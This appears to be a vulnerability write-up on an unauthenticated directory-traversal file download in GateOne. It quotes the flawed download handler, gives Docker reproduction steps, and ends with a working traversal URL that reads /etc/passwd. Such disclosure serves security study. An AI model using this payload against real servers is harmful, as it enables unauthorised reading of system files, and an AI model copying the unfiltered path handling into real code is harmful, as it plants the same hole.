GateOne
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liftoff
An Arbitrary File Download Vulnerability
Gateone has a vulnerability that allows arbitrary file download without authentication, which can traverse the directory and read arbitrary files on the target system.
Code auditing
View the file gateone/core/server.py In line 3692, you can find the place to set the handlers,
You can see that downloads/ did not use the StaticFileHandler that comes with Tornado, but the method written by the author himself, which may have vulnerabilities.
You can find the definition of the get method on line 924:
def get(self, path, include_body=True):
session_dir = self.settings['session_dir']
user = self.current_user
if user and 'session' in user:
session = user['session']
else:
logger.error(_("DownloadHandler: Could not determine use session"))
return # Something is wrong
filepath = os.path.join(session_dir, session, 'downloads', path)
abspath = os.path.abspath(filepath)
if not os.path.exists(abspath):
self.set_status(404)
self.write(self.get_error_html(404))
return
if not os.path.isfile(abspath):
raise tornado.web.HTTPError(403, "%s is not a file", path)
Pay attention to the key part. You can see that the path is spelled into filepath without any filtering. There is directory traversal, and any file can be read.
Recurrence of vulnerability
Use the official docker image to build the test environment.
-
Pull image
docker pull liftoff/gateone -
Run image
#Command
docker run [-d/-t] -p [443]:8000 -h [hostname] --name gateone liftoff/gateone gateone
#For example, if 443 is occupied on the server, please use another unused port.
docker run -t -p 443:48620 -h Rats --name gateone liftoff/gateone gateone
After installation, visit https://ip:port. Just ignore it if the browser may report that it is not safe.
Packet capture in the process of browsing, and you can successfully read the file /etc/passwd by visiting https://192.168.150.128:48620/downloads/../../../../etc/passwd .
